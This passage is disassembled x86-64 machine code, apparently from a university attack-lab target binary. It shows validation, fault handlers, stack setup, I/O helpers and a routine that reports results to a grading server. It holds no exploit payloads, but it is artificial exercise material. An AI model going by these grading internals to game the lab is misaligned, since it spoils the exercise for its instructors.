401c70: e8 db ef ff ff callq 400c50 <puts@plt>

401c75: e9 85 00 00 00 jmpq 401cff <notify\_server+0x193>

401c7a: bf bd 31 40 00 mov $0x4031bd,%edi

401c7f: e8 cc ef ff ff callq 400c50 <puts@plt>

401c84: eb 79 jmp 401cff <notify\_server+0x193>

401c86: 85 db test %ebx,%ebx

401c88: 74 08 je 401c92 <notify\_server+0x126>

401c8a: be 81 31 40 00 mov $0x403181,%esi

401c8f: 90 nop

401c90: eb 05 jmp 401c97 <notify\_server+0x12b>

401c92: be 86 31 40 00 mov $0x403186,%esi

401c97: bf 08 33 40 00 mov $0x403308,%edi

401c9c: b8 00 00 00 00 mov $0x0,%eax

401ca1: e8 da ef ff ff callq 400c80 <printf@plt>

401ca6: 48 8b 35 b3 34 20 00 mov 0x2034b3(%rip),%rsi # 605160 <user\_id>

401cad: bf c4 31 40 00 mov $0x4031c4,%edi

401cb2: b8 00 00 00 00 mov $0x0,%eax

401cb7: e8 c4 ef ff ff callq 400c80 <printf@plt>

401cbc: 48 8b 35 b5 34 20 00 mov 0x2034b5(%rip),%rsi # 605178 <course>

401cc3: bf d1 31 40 00 mov $0x4031d1,%edi

401cc8: b8 00 00 00 00 mov $0x0,%eax

401ccd: e8 ae ef ff ff callq 400c80 <printf@plt>

401cd2: 48 8b 35 97 34 20 00 mov 0x203497(%rip),%rsi # 605170 <lab>

401cd9: bf dd 31 40 00 mov $0x4031dd,%edi

401cde: b8 00 00 00 00 mov $0x0,%eax

401ce3: e8 98 ef ff ff callq 400c80 <printf@plt>

401ce8: 48 8d b4 24 10 20 00 lea 0x2010(%rsp),%rsi

401cef: 00

401cf0: bf e6 31 40 00 mov $0x4031e6,%edi

401cf5: b8 00 00 00 00 mov $0x0,%eax

401cfa: e8 81 ef ff ff callq 400c80 <printf@plt>

401cff: 48 81 c4 10 40 00 00 add $0x4010,%rsp

401d06: 5b pop %rbx

401d07: f3 c3 repz retq

0000000000401d09 <validate>:

401d09: 53 push %rbx

401d0a: 89 fb mov %edi,%ebx

401d0c: 83 3d f5 37 20 00 00 cmpl $0x0,0x2037f5(%rip) # 605508 <is\_checker>

401d13: 74 60 je 401d75 <validate+0x6c>

401d15: 39 3d e1 37 20 00 cmp %edi,0x2037e1(%rip) # 6054fc <vlevel>

401d1b: 74 14 je 401d31 <validate+0x28>

401d1d: bf f2 31 40 00 mov $0x4031f2,%edi

401d22: e8 29 ef ff ff callq 400c50 <puts@plt>

401d27: b8 00 00 00 00 mov $0x0,%eax

401d2c: e8 ba fd ff ff callq 401aeb <check\_fail>

401d31: 8b 35 c1 37 20 00 mov 0x2037c1(%rip),%esi # 6054f8 <check\_level>

401d37: 39 fe cmp %edi,%esi

401d39: 74 1b je 401d56 <validate+0x4d>

401d3b: 89 fa mov %edi,%edx

401d3d: bf 30 33 40 00 mov $0x403330,%edi

401d42: b8 00 00 00 00 mov $0x0,%eax

401d47: e8 34 ef ff ff callq 400c80 <printf@plt>

401d4c: b8 00 00 00 00 mov $0x0,%eax

401d51: e8 95 fd ff ff callq 401aeb <check\_fail>

401d56: 0f be 35 cb 43 20 00 movsbl 0x2043cb(%rip),%esi # 606128 <target\_prefix>

401d5d: b9 20 55 60 00 mov $0x605520,%ecx

401d62: 89 fa mov %edi,%edx

401d64: bf 10 32 40 00 mov $0x403210,%edi

401d69: b8 00 00 00 00 mov $0x0,%eax

401d6e: e8 0d ef ff ff callq 400c80 <printf@plt>

401d73: eb 44 jmp 401db9 <validate+0xb0>

401d75: 39 3d 81 37 20 00 cmp %edi,0x203781(%rip) # 6054fc <vlevel>

401d7b: 74 18 je 401d95 <validate+0x8c>

401d7d: bf f2 31 40 00 mov $0x4031f2,%edi

401d82: e8 c9 ee ff ff callq 400c50 <puts@plt>

401d87: 89 de mov %ebx,%esi

401d89: bf 00 00 00 00 mov $0x0,%edi

401d8e: e8 d9 fd ff ff callq 401b6c <notify\_server>

401d93: eb 24 jmp 401db9 <validate+0xb0>

401d95: 0f be 15 8c 43 20 00 movsbl 0x20438c(%rip),%edx # 606128 <target\_prefix>

401d9c: 89 fe mov %edi,%esi

401d9e: bf 58 33 40 00 mov $0x403358,%edi

401da3: b8 00 00 00 00 mov $0x0,%eax

401da8: e8 d3 ee ff ff callq 400c80 <printf@plt>

401dad: 89 de mov %ebx,%esi

401daf: bf 01 00 00 00 mov $0x1,%edi

401db4: e8 b3 fd ff ff callq 401b6c <notify\_server>

401db9: 5b pop %rbx

401dba: c3 retq

0000000000401dbb <fail>:

401dbb: 48 83 ec 08 sub $0x8,%rsp

401dbf: 83 3d 42 37 20 00 00 cmpl $0x0,0x203742(%rip) # 605508 <is\_checker>

401dc6: 74 0a je 401dd2 <fail+0x17>

401dc8: b8 00 00 00 00 mov $0x0,%eax

401dcd: e8 19 fd ff ff callq 401aeb <check\_fail>

401dd2: 89 fe mov %edi,%esi

401dd4: bf 00 00 00 00 mov $0x0,%edi

401dd9: e8 8e fd ff ff callq 401b6c <notify\_server>

401dde: 48 83 c4 08 add $0x8,%rsp

401de2: c3 retq

0000000000401de3 <bushandler>:

401de3: 48 83 ec 08 sub $0x8,%rsp

401de7: 83 3d 1a 37 20 00 00 cmpl $0x0,0x20371a(%rip) # 605508 <is\_checker>

401dee: 74 14 je 401e04 <bushandler+0x21>

401df0: bf 25 32 40 00 mov $0x403225,%edi

401df5: e8 56 ee ff ff callq 400c50 <puts@plt>

401dfa: b8 00 00 00 00 mov $0x0,%eax

401dff: e8 e7 fc ff ff callq 401aeb <check\_fail>

401e04: bf 90 33 40 00 mov $0x403390,%edi

401e09: e8 42 ee ff ff callq 400c50 <puts@plt>

401e0e: bf 2f 32 40 00 mov $0x40322f,%edi

401e13: e8 38 ee ff ff callq 400c50 <puts@plt>

401e18: be 00 00 00 00 mov $0x0,%esi

401e1d: bf 00 00 00 00 mov $0x0,%edi

401e22: e8 45 fd ff ff callq 401b6c <notify\_server>

401e27: bf 01 00 00 00 mov $0x1,%edi

401e2c: e8 bf ef ff ff callq 400df0 <exit@plt>

0000000000401e31 <seghandler>:

401e31: 48 83 ec 08 sub $0x8,%rsp

401e35: 83 3d cc 36 20 00 00 cmpl $0x0,0x2036cc(%rip) # 605508 <is\_checker>

401e3c: 74 14 je 401e52 <seghandler+0x21>

401e3e: bf 45 32 40 00 mov $0x403245,%edi

401e43: e8 08 ee ff ff callq 400c50 <puts@plt>

401e48: b8 00 00 00 00 mov $0x0,%eax

401e4d: e8 99 fc ff ff callq 401aeb <check\_fail>

401e52: bf b0 33 40 00 mov $0x4033b0,%edi

401e57: e8 f4 ed ff ff callq 400c50 <puts@plt>

401e5c: bf 2f 32 40 00 mov $0x40322f,%edi

401e61: e8 ea ed ff ff callq 400c50 <puts@plt>

401e66: be 00 00 00 00 mov $0x0,%esi

401e6b: bf 00 00 00 00 mov $0x0,%edi

401e70: e8 f7 fc ff ff callq 401b6c <notify\_server>

401e75: bf 01 00 00 00 mov $0x1,%edi

401e7a: e8 71 ef ff ff callq 400df0 <exit@plt>

0000000000401e7f <illegalhandler>:

401e7f: 48 83 ec 08 sub $0x8,%rsp

401e83: 83 3d 7e 36 20 00 00 cmpl $0x0,0x20367e(%rip) # 605508 <is\_checker>

401e8a: 74 14 je 401ea0 <illegalhandler+0x21>

401e8c: bf 58 32 40 00 mov $0x403258,%edi

401e91: e8 ba ed ff ff callq 400c50 <puts@plt>

401e96: b8 00 00 00 00 mov $0x0,%eax

401e9b: e8 4b fc ff ff callq 401aeb <check\_fail>

401ea0: bf d8 33 40 00 mov $0x4033d8,%edi

401ea5: e8 a6 ed ff ff callq 400c50 <puts@plt>

401eaa: bf 2f 32 40 00 mov $0x40322f,%edi

401eaf: e8 9c ed ff ff callq 400c50 <puts@plt>

401eb4: be 00 00 00 00 mov $0x0,%esi

401eb9: bf 00 00 00 00 mov $0x0,%edi

401ebe: e8 a9 fc ff ff callq 401b6c <notify\_server>

401ec3: bf 01 00 00 00 mov $0x1,%edi

401ec8: e8 23 ef ff ff callq 400df0 <exit@plt>

0000000000401ecd <sigalrmhandler>:

401ecd: 48 83 ec 08 sub $0x8,%rsp

401ed1: 83 3d 30 36 20 00 00 cmpl $0x0,0x203630(%rip) # 605508 <is\_checker>

401ed8: 74 14 je 401eee <sigalrmhandler+0x21>

401eda: bf 6c 32 40 00 mov $0x40326c,%edi

401edf: e8 6c ed ff ff callq 400c50 <puts@plt>

401ee4: b8 00 00 00 00 mov $0x0,%eax

401ee9: e8 fd fb ff ff callq 401aeb <check\_fail>

401eee: be 05 00 00 00 mov $0x5,%esi

401ef3: bf 08 34 40 00 mov $0x403408,%edi

401ef8: b8 00 00 00 00 mov $0x0,%eax

401efd: e8 7e ed ff ff callq 400c80 <printf@plt>

401f02: be 00 00 00 00 mov $0x0,%esi

401f07: bf 00 00 00 00 mov $0x0,%edi

401f0c: e8 5b fc ff ff callq 401b6c <notify\_server>

401f11: bf 01 00 00 00 mov $0x1,%edi

401f16: e8 d5 ee ff ff callq 400df0 <exit@plt>

0000000000401f1b <launch>:

401f1b: 55 push %rbp

401f1c: 48 89 e5 mov %rsp,%rbp

401f1f: 48 89 fa mov %rdi,%rdx

401f22: 48 8d 47 1e lea 0x1e(%rdi),%rax

401f26: 48 83 e0 f0 and $0xfffffffffffffff0,%rax

401f2a: 48 29 c4 sub %rax,%rsp

401f2d: 48 8d 7c 24 0f lea 0xf(%rsp),%rdi

401f32: 48 83 e7 f0 and $0xfffffffffffffff0,%rdi

401f36: be f4 00 00 00 mov $0xf4,%esi

401f3b: e8 50 ed ff ff callq 400c90 <memset@plt>

401f40: 48 8b 05 79 35 20 00 mov 0x203579(%rip),%rax # 6054c0 <stdin@@GLIBC\_2.2.5>

401f47: 48 39 05 a2 35 20 00 cmp %rax,0x2035a2(%rip) # 6054f0 <infile>

401f4e: 75 0f jne 401f5f <launch+0x44>

401f50: bf 74 32 40 00 mov $0x403274,%edi

401f55: b8 00 00 00 00 mov $0x0,%eax

401f5a: e8 21 ed ff ff callq 400c80 <printf@plt>

401f5f: c7 05 93 35 20 00 00 movl $0x0,0x203593(%rip) # 6054fc <vlevel>

401f66: 00 00 00

401f69: b8 00 00 00 00 mov $0x0,%eax

401f6e: e8 c3 f9 ff ff callq 401936 <test>

401f73: 83 3d 8e 35 20 00 00 cmpl $0x0,0x20358e(%rip) # 605508 <is\_checker>

401f7a: 74 14 je 401f90 <launch+0x75>

401f7c: bf 81 32 40 00 mov $0x403281,%edi

401f81: e8 ca ec ff ff callq 400c50 <puts@plt>

401f86: b8 00 00 00 00 mov $0x0,%eax

401f8b: e8 5b fb ff ff callq 401aeb <check\_fail>

401f90: bf 8c 32 40 00 mov $0x40328c,%edi

401f95: e8 b6 ec ff ff callq 400c50 <puts@plt>

401f9a: c9 leaveq

401f9b: c3 retq

0000000000401f9c <stable\_launch>:

401f9c: 53 push %rbx

401f9d: 48 89 3d 44 35 20 00 mov %rdi,0x203544(%rip) # 6054e8 <global\_offset>

401fa4: 41 b9 00 00 00 00 mov $0x0,%r9d

401faa: 41 b8 00 00 00 00 mov $0x0,%r8d

401fb0: b9 32 01 00 00 mov $0x132,%ecx

401fb5: ba 07 00 00 00 mov $0x7,%edx

401fba: be 00 00 10 00 mov $0x100000,%esi

401fbf: bf 00 60 58 55 mov $0x55586000,%edi

401fc4: e8 a7 ec ff ff callq 400c70 <mmap@plt>

401fc9: 48 89 c3 mov %rax,%rbx

401fcc: 48 3d 00 60 58 55 cmp $0x55586000,%rax

401fd2: 74 32 je 402006 <stable\_launch+0x6a>

401fd4: be 00 00 10 00 mov $0x100000,%esi

401fd9: 48 89 c7 mov %rax,%rdi

401fdc: e8 9f ed ff ff callq 400d80 <munmap@plt>

401fe1: ba 00 60 58 55 mov $0x55586000,%edx

401fe6: be 40 34 40 00 mov $0x403440,%esi

401feb: 48 8b 3d de 34 20 00 mov 0x2034de(%rip),%rdi # 6054d0 <stderr@@GLIBC\_2.2.5>

401ff2: b8 00 00 00 00 mov $0x0,%eax

401ff7: e8 04 ed ff ff callq 400d00 <fprintf@plt>

401ffc: bf 01 00 00 00 mov $0x1,%edi

402001: e8 ea ed ff ff callq 400df0 <exit@plt>

402006: 48 8d 90 f8 ff 0f 00 lea 0xffff8(%rax),%rdx

40200d: 48 89 15 1c 41 20 00 mov %rdx,0x20411c(%rip) # 606130 <stack\_top>

402014: 48 89 e0 mov %rsp,%rax

402017: 48 89 d4 mov %rdx,%rsp

40201a: 48 89 c2 mov %rax,%rdx

40201d: 48 89 15 bc 34 20 00 mov %rdx,0x2034bc(%rip) # 6054e0 <global\_save\_stack>

402024: 48 8b 3d bd 34 20 00 mov 0x2034bd(%rip),%rdi # 6054e8 <global\_offset>

40202b: e8 eb fe ff ff callq 401f1b <launch>

402030: 48 8b 05 a9 34 20 00 mov 0x2034a9(%rip),%rax # 6054e0 <global\_save\_stack>

402037: 48 89 c4 mov %rax,%rsp

40203a: be 00 00 10 00 mov $0x100000,%esi

40203f: 48 89 df mov %rbx,%rdi

402042: e8 39 ed ff ff callq 400d80 <munmap@plt>

402047: 5b pop %rbx

402048: c3 retq

402049: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)

0000000000402050 <rio\_readinitb>:

402050: 89 37 mov %esi,(%rdi)

402052: c7 47 04 00 00 00 00 movl $0x0,0x4(%rdi)

402059: 48 8d 47 10 lea 0x10(%rdi),%rax

40205d: 48 89 47 08 mov %rax,0x8(%rdi)

402061: c3 retq

0000000000402062 <sigalrm\_handler>:

402062: 48 83 ec 08 sub $0x8,%rsp

402066: ba 00 00 00 00 mov $0x0,%edx

40206b: be 80 34 40 00 mov $0x403480,%esi

402070: 48 8b 3d 59 34 20 00 mov 0x203459(%rip),%rdi # 6054d0 <stderr@@GLIBC\_2.2.5>

402077: b8 00 00 00 00 mov $0x0,%eax

40207c: e8 7f ec ff ff callq 400d00 <fprintf@plt>

402081: bf 01 00 00 00 mov $0x1,%edi

402086: e8 65 ed ff ff callq 400df0 <exit@plt>

000000000040208b <urlencode>:

40208b: 41 54 push %r12

40208d: 55 push %rbp

40208e: 53 push %rbx

40208f: 48 83 ec 10 sub $0x10,%rsp

402093: 48 89 fb mov %rdi,%rbx

402096: 48 89 f5 mov %rsi,%rbp

402099: b8 00 00 00 00 mov $0x0,%eax

40209e: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx

4020a5: f2 ae repnz scas %es:(%rdi),%al

4020a7: 48 f7 d1 not %rcx

4020aa: 8d 41 ff lea -0x1(%rcx),%eax

4020ad: e9 93 00 00 00 jmpq 402145 <urlencode+0xba>

4020b2: 0f b6 13 movzbl (%rbx),%edx

4020b5: 80 fa 2a cmp $0x2a,%dl

4020b8: 0f 94 c1 sete %cl

4020bb: 80 fa 2d cmp $0x2d,%dl

4020be: 0f 94 c0 sete %al

4020c1: 08 c1 or %al,%cl

4020c3: 75 1f jne 4020e4 <urlencode+0x59>

4020c5: 80 fa 2e cmp $0x2e,%dl

4020c8: 74 1a je 4020e4 <urlencode+0x59>

4020ca: 80 fa 5f cmp $0x5f,%dl

4020cd: 74 15 je 4020e4 <urlencode+0x59>

4020cf: 8d 42 d0 lea -0x30(%rdx),%eax

4020d2: 3c 09 cmp $0x9,%al

4020d4: 76 0e jbe 4020e4 <urlencode+0x59>

4020d6: 8d 42 bf lea -0x41(%rdx),%eax

4020d9: 3c 19 cmp $0x19,%al

4020db: 76 07 jbe 4020e4 <urlencode+0x59>

4020dd: 8d 42 9f lea -0x61(%rdx),%eax

4020e0: 3c 19 cmp $0x19,%al

4020e2: 77 09 ja 4020ed <urlencode+0x62>

4020e4: 88 55 00 mov %dl,0x0(%rbp)

4020e7: 48 8d 6d 01 lea 0x1(%rbp),%rbp

4020eb: eb 51 jmp 40213e <urlencode+0xb3>

4020ed: 80 fa 20 cmp $0x20,%dl

4020f0: 75 0a jne 4020fc <urlencode+0x71>

4020f2: c6 45 00 2b movb $0x2b,0x0(%rbp)

4020f6: 48 8d 6d 01 lea 0x1(%rbp),%rbp

4020fa: eb 42 jmp 40213e <urlencode+0xb3>

4020fc: 8d 42 e0 lea -0x20(%rdx),%eax

4020ff: 3c 5f cmp $0x5f,%al

402101: 0f 96 c1 setbe %cl

402104: 80 fa 09 cmp $0x9,%dl

402107: 0f 94 c0 sete %al

40210a: 08 c1 or %al,%cl

40210c: 74 45 je 402153 <urlencode+0xc8>

40210e: 0f b6 d2 movzbl %dl,%edx

402111: be 18 35 40 00 mov $0x403518,%esi

402116: 48 89 e7 mov %rsp,%rdi

402119: b8 00 00 00 00 mov $0x0,%eax

40211e: e8 bd ec ff ff callq 400de0 <sprintf@plt>

402123: 0f b6 04 24 movzbl (%rsp),%eax

402127: 88 45 00 mov %al,0x0(%rbp)

40212a: 0f b6 44 24 01 movzbl 0x1(%rsp),%eax

40212f: 88 45 01 mov %al,0x1(%rbp)

402132: 0f b6 44 24 02 movzbl 0x2(%rsp),%eax

402137: 88 45 02 mov %al,0x2(%rbp)

40213a: 48 8d 6d 03 lea 0x3(%rbp),%rbp

40213e: 48 83 c3 01 add $0x1,%rbx

402142: 44 89 e0 mov %r12d,%eax

402145: 44 8d 60 ff lea -0x1(%rax),%r12d

402149: 85 c0 test %eax,%eax

40214b: 0f 85 61 ff ff ff jne 4020b2 <urlencode+0x27>

402151: eb 05 jmp 402158 <urlencode+0xcd>

402153: b8 ff ff ff ff mov $0xffffffff,%eax

402158: 48 83 c4 10 add $0x10,%rsp

40215c: 5b pop %rbx

40215d: 5d pop %rbp

40215e: 41 5c pop %r12

402160: c3 retq

0000000000402161 <rio\_writen>:

402161: 41 55 push %r13

402163: 41 54 push %r12

402165: 55 push %rbp

402166: 53 push %rbx

402167: 48 83 ec 08 sub $0x8,%rsp

40216b: 41 89 fc mov %edi,%r12d

40216e: 48 89 f5 mov %rsi,%rbp

402171: 49 89 d5 mov %rdx,%r13

402174: 48 89 d3 mov %rdx,%rbx

402177: eb 28 jmp 4021a1 <rio\_writen+0x40>

402179: 48 89 da mov %rbx,%rdx

40217c: 48 89 ee mov %rbp,%rsi

40217f: 44 89 e7 mov %r12d,%edi

402182: e8 d9 ea ff ff callq 400c60 <write@plt>

402187: 48 85 c0 test %rax,%rax

40218a: 7f 0f jg 40219b <rio\_writen+0x3a>

40218c: e8 7f ea ff ff callq 400c10 <\_\_errno\_location@plt>

402191: 83 38 04 cmpl $0x4,(%rax)

402194: 75 15 jne 4021ab <rio\_writen+0x4a>

402196: b8 00 00 00 00 mov $0x0,%eax

40219b: 48 29 c3 sub %rax,%rbx

40219e: 48 01 c5 add %rax,%rbp

4021a1: 48 85 db test %rbx,%rbx

4021a4: 75 d3 jne 402179 <rio\_writen+0x18>

4021a6: 4c 89 e8 mov %r13,%rax

4021a9: eb 07 jmp 4021b2 <rio\_writen+0x51>

4021ab: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

4021b2: 48 83 c4 08 add $0x8,%rsp

4021b6: 5b pop %rbx

4021b7: 5d pop %rbp

4021b8: 41 5c pop %r12

4021ba: 41 5d pop %r13

4021bc: c3 retq

00000000004021bd <rio\_read>:

4021bd: 41 56 push %r14

4021bf: 41 55 push %r13

4021c1: 41 54 push %r12

4021c3: 55 push %rbp

4021c4: 53 push %rbx

4021c5: 48 89 fb mov %rdi,%rbx

4021c8: 49 89 f6 mov %rsi,%r14

4021cb: 49 89 d5 mov %rdx,%r13

4021ce: 4c 8d 67 10 lea 0x10(%rdi),%r12

4021d2: eb 2a jmp 4021fe <rio\_read+0x41>

4021d4: ba 00 20 00 00 mov $0x2000,%edx

4021d9: 4c 89 e6 mov %r12,%rsi

4021dc: 8b 3b mov (%rbx),%edi

4021de: e8 dd ea ff ff callq 400cc0 <read@plt>

4021e3: 89 43 04 mov %eax,0x4(%rbx)

4021e6: 85 c0 test %eax,%eax

4021e8: 79 0c jns 4021f6 <rio\_read+0x39>

4021ea: e8 21 ea ff ff callq 400c10 <\_\_errno\_location@plt>

4021ef: 83 38 04 cmpl $0x4,(%rax)

4021f2: 74 0a je 4021fe <rio\_read+0x41>

4021f4: eb 37 jmp 40222d <rio\_read+0x70>

4021f6: 85 c0 test %eax,%eax

4021f8: 74 3c je 402236 <rio\_read+0x79>

4021fa: 4c 89 63 08 mov %r12,0x8(%rbx)

4021fe: 8b 6b 04 mov 0x4(%rbx),%ebp

402201: 85 ed test %ebp,%ebp

402203: 7e cf jle 4021d4 <rio\_read+0x17>

402205: 89 e8 mov %ebp,%eax

402207: 4c 39 e8 cmp %r13,%rax

40220a: 72 03 jb 40220f <rio\_read+0x52>

40220c: 44 89 ed mov %r13d,%ebp

40220f: 4c 63 e5 movslq %ebp,%r12

402212: 48 8b 73 08 mov 0x8(%rbx),%rsi

402216: 4c 89 e2 mov %r12,%rdx

402219: 4c 89 f7 mov %r14,%rdi

40221c: e8 0f eb ff ff callq 400d30 <memcpy@plt>

402221: 4c 01 63 08 add %r12,0x8(%rbx)

402225: 29 6b 04 sub %ebp,0x4(%rbx)

402228: 4c 89 e0 mov %r12,%rax

40222b: eb 0e jmp 40223b <rio\_read+0x7e>

40222d: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

402234: eb 05 jmp 40223b <rio\_read+0x7e>

402236: b8 00 00 00 00 mov $0x0,%eax

40223b: 5b pop %rbx

40223c: 5d pop %rbp

40223d: 41 5c pop %r12

40223f: 41 5d pop %r13

402241: 41 5e pop %r14

402243: c3 retq

0000000000402244 <rio\_readlineb>:

402244: 41 55 push %r13

402246: 41 54 push %r12

402248: 55 push %rbp

402249: 53 push %rbx

40224a: 48 83 ec 18 sub $0x18,%rsp

40224e: 49 89 fd mov %rdi,%r13

402251: 48 89 f5 mov %rsi,%rbp

402254: 49 89 d4 mov %rdx,%r12

402257: bb 01 00 00 00 mov $0x1,%ebx

40225c: eb 3d jmp 40229b <rio\_readlineb+0x57>

40225e: ba 01 00 00 00 mov $0x1,%edx

402263: 48 8d 74 24 0f lea 0xf(%rsp),%rsi

402268: 4c 89 ef mov %r13,%rdi

40226b: e8 4d ff ff ff callq 4021bd <rio\_read>

402270: 83 f8 01 cmp $0x1,%eax

402273: 75 12 jne 402287 <rio\_readlineb+0x43>

402275: 48 8d 55 01 lea 0x1(%rbp),%rdx

402279: 0f b6 44 24 0f movzbl 0xf(%rsp),%eax

40227e: 88 45 00 mov %al,0x0(%rbp)

402281: 3c 0a cmp $0xa,%al

402283: 75 0f jne 402294 <rio\_readlineb+0x50>

402285: eb 1b jmp 4022a2 <rio\_readlineb+0x5e>

402287: 85 c0 test %eax,%eax

402289: 75 23 jne 4022ae <rio\_readlineb+0x6a>

40228b: 48 83 fb 01 cmp $0x1,%rbx

40228f: 90 nop

402290: 75 13 jne 4022a5 <rio\_readlineb+0x61>

402292: eb 23 jmp 4022b7 <rio\_readlineb+0x73>

402294: 48 83 c3 01 add $0x1,%rbx

402298: 48 89 d5 mov %rdx,%rbp

40229b: 4c 39 e3 cmp %r12,%rbx

40229e: 72 be jb 40225e <rio\_readlineb+0x1a>

4022a0: eb 03 jmp 4022a5 <rio\_readlineb+0x61>

4022a2: 48 89 d5 mov %rdx,%rbp

4022a5: c6 45 00 00 movb $0x0,0x0(%rbp)

4022a9: 48 89 d8 mov %rbx,%rax

4022ac: eb 0e jmp 4022bc <rio\_readlineb+0x78>

4022ae: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

4022b5: eb 05 jmp 4022bc <rio\_readlineb+0x78>

4022b7: b8 00 00 00 00 mov $0x0,%eax

4022bc: 48 83 c4 18 add $0x18,%rsp

4022c0: 5b pop %rbx

4022c1: 5d pop %rbp

4022c2: 41 5c pop %r12

4022c4: 41 5d pop %r13

4022c6: c3 retq

00000000004022c7 <submitr>:

4022c7: 41 57 push %r15

4022c9: 41 56 push %r14

4022cb: 41 55 push %r13

4022cd: 41 54 push %r12

4022cf: 55 push %rbp

4022d0: 53 push %rbx

4022d1: 48 81 ec 48 a0 00 00 sub $0xa048,%rsp

4022d8: 49 89 fc mov %rdi,%r12

4022db: 89 74 24 04 mov %esi,0x4(%rsp)

4022df: 49 89 d7 mov %rdx,%r15

4022e2: 49 89 ce mov %rcx,%r14

4022e5: 4c 89 44 24 08 mov %r8,0x8(%rsp)

4022ea: 4d 89 cd mov %r9,%r13

4022ed: 48 8b 9c 24 80 a0 00 mov 0xa080(%rsp),%rbx

4022f4: 00

4022f5: c7 84 24 1c 20 00 00 movl $0x0,0x201c(%rsp)

4022fc: 00 00 00 00

402300: ba 00 00 00 00 mov $0x0,%edx

402305: be 01 00 00 00 mov $0x1,%esi

40230a: bf 02 00 00 00 mov $0x2,%edi

40230f: e8 fc ea ff ff callq 400e10 <socket@plt>

402314: 89 c5 mov %eax,%ebp

402316: 85 c0 test %eax,%eax

402318: 79 4e jns 402368 <submitr+0xa1>

40231a: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

402321: 3a 20 43

402324: 48 89 03 mov %rax,(%rbx)

402327: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40232e: 20 75 6e

402331: 48 89 43 08 mov %rax,0x8(%rbx)

402335: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

40233c: 74 6f 20

40233f: 48 89 43 10 mov %rax,0x10(%rbx)

402343: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax

40234a: 65 20 73

40234d: 48 89 43 18 mov %rax,0x18(%rbx)

402351: c7 43 20 6f 63 6b 65 movl $0x656b636f,0x20(%rbx)

402358: 66 c7 43 24 74 00 movw $0x74,0x24(%rbx)

40235e: b8 ff ff ff ff mov $0xffffffff,%eax

402363: e9 68 06 00 00 jmpq 4029d0 <submitr+0x709>

402368: 4c 89 e7 mov %r12,%rdi

40236b: e8 80 e9 ff ff callq 400cf0 <gethostbyname@plt>

402370: 48 85 c0 test %rax,%rax

402373: 75 67 jne 4023dc <submitr+0x115>

402375: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax

40237c: 3a 20 44

40237f: 48 89 03 mov %rax,(%rbx)

402382: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax

402389: 20 75 6e

40238c: 48 89 43 08 mov %rax,0x8(%rbx)

402390: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402397: 74 6f 20

40239a: 48 89 43 10 mov %rax,0x10(%rbx)

40239e: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax

4023a5: 76 65 20

4023a8: 48 89 43 18 mov %rax,0x18(%rbx)

4023ac: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax

4023b3: 72 20 61

4023b6: 48 89 43 20 mov %rax,0x20(%rbx)

4023ba: c7 43 28 64 64 72 65 movl $0x65726464,0x28(%rbx)

4023c1: 66 c7 43 2c 73 73 movw $0x7373,0x2c(%rbx)

4023c7: c6 43 2e 00 movb $0x0,0x2e(%rbx)

4023cb: 89 ef mov %ebp,%edi

4023cd: e8 de e8 ff ff callq 400cb0 <close@plt>

4023d2: b8 ff ff ff ff mov $0xffffffff,%eax

4023d7: e9 f4 05 00 00 jmpq 4029d0 <submitr+0x709>

4023dc: 48 c7 84 24 30 a0 00 movq $0x0,0xa030(%rsp)

4023e3: 00 00 00 00 00

4023e8: 48 c7 84 24 38 a0 00 movq $0x0,0xa038(%rsp)

4023ef: 00 00 00 00 00

4023f4: 66 c7 84 24 30 a0 00 movw $0x2,0xa030(%rsp)

4023fb: 00 02 00

4023fe: 48 8b 48 18 mov 0x18(%rax),%rcx

402402: 48 63 50 14 movslq 0x14(%rax),%rdx

402406: 48 8d b4 24 34 a0 00 lea 0xa034(%rsp),%rsi

40240d: 00

40240e: 48 8b 39 mov (%rcx),%rdi

402411: e8 7a e9 ff ff callq 400d90 <bcopy@plt>

402416: 0f b7 44 24 04 movzwl 0x4(%rsp),%eax

40241b: 66 c1 c8 08 ror $0x8,%ax

40241f: 66 89 84 24 32 a0 00 mov %ax,0xa032(%rsp)

402426: 00

402427: ba 10 00 00 00 mov $0x10,%edx

40242c: 48 8d b4 24 30 a0 00 lea 0xa030(%rsp),%rsi

402433: 00

402434: 89 ef mov %ebp,%edi

402436: e8 c5 e9 ff ff callq 400e00 <connect@plt>

40243b: 85 c0 test %eax,%eax

40243d: 79 59 jns 402498 <submitr+0x1d1>

40243f: 48 b8 45 72 72 6f 72 movabs $0x55203a726f727245,%rax

402446: 3a 20 55

402449: 48 89 03 mov %rax,(%rbx)

40244c: 48 b8 6e 61 62 6c 65 movabs $0x6f7420656c62616e,%rax

402453: 20 74 6f

402456: 48 89 43 08 mov %rax,0x8(%rbx)

40245a: 48 b8 20 63 6f 6e 6e movabs $0x7463656e6e6f6320,%rax

402461: 65 63 74

402464: 48 89 43 10 mov %rax,0x10(%rbx)

402468: 48 b8 20 74 6f 20 74 movabs $0x20656874206f7420,%rax

40246f: 68 65 20

402472: 48 89 43 18 mov %rax,0x18(%rbx)

402476: c7 43 20 73 65 72 76 movl $0x76726573,0x20(%rbx)

40247d: 66 c7 43 24 65 72 movw $0x7265,0x24(%rbx)

402483: c6 43 26 00 movb $0x0,0x26(%rbx)

402487: 89 ef mov %ebp,%edi

402489: e8 22 e8 ff ff callq 400cb0 <close@plt>

40248e: b8 ff ff ff ff mov $0xffffffff,%eax

402493: e9 38 05 00 00 jmpq 4029d0 <submitr+0x709>

402498: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx

40249f: 4c 89 ef mov %r13,%rdi

4024a2: b8 00 00 00 00 mov $0x0,%eax

4024a7: 48 89 d1 mov %rdx,%rcx

4024aa: f2 ae repnz scas %es:(%rdi),%al

4024ac: 48 f7 d1 not %rcx

